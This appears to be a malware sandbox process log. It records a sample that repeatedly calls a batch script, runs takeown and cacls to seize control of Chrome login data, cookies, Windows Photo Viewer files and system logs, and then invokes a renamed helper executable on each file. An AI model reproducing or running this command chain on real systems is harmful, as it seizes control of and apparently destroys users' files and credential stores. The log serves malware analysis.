C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Safe Browsing Network\Safe Browsing Cookies" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Safe Browsing Network\Safe Browsing Cookies"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "Safe Browsing Cookies" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "Safe Browsing Cookies" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A7.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A7.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A7.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "000000A7.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "000000A7.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\MANIFEST-000001""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\MANIFEST-000001" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\MANIFEST-000001"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "MANIFEST-000001" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "MANIFEST-000001" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\MANIFEST-000001""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\MANIFEST-000001" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\MANIFEST-000001"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "MANIFEST-000001" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "MANIFEST-000001" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Favicons""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Favicons" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Favicons"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "Favicons" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "Favicons" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\index""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\index" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\index"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "index" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "index" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "Login Data" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "Login Data" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_1""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_1" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_1"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "data_1" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "data_1" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_2""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_2" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_2"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "data_2" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "data_2" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_0""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_0" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_0"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "data_0" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "data_0" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Reporting and NEL""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Reporting and NEL" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Reporting and NEL"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "Reporting and NEL" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "Reporting and NEL" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Visited Links""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Visited Links" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Visited Links"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "Visited Links" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "Visited Links" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.813b6a75-c2c4-4376-a282-0633011d435c.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.813b6a75-c2c4-4376-a282-0633011d435c.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.813b6a75-c2c4-4376-a282-0633011d435c.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "MoUsoCoreWorker.813b6a75-c2c4-4376-a282-0633011d435c.1.etl" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "MoUsoCoreWorker.813b6a75-c2c4-4376-a282-0633011d435c.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.b1baf8d4-db41-4e65-8376-75482583cb6a.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.b1baf8d4-db41-4e65-8376-75482583cb6a.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.b1baf8d4-db41-4e65-8376-75482583cb6a.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "UpdateSessionOrchestration.b1baf8d4-db41-4e65-8376-75482583cb6a.1.etl" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "UpdateSessionOrchestration.b1baf8d4-db41-4e65-8376-75482583cb6a.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_0""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_0" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_0"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "data_0" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "data_0" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "data_1" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "data_1" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Mail\wab.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\wab.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "wab.exe" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "wab.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000004.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000004.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000004.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000004.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000004.bin" -nobanner4⤵
-
-
-
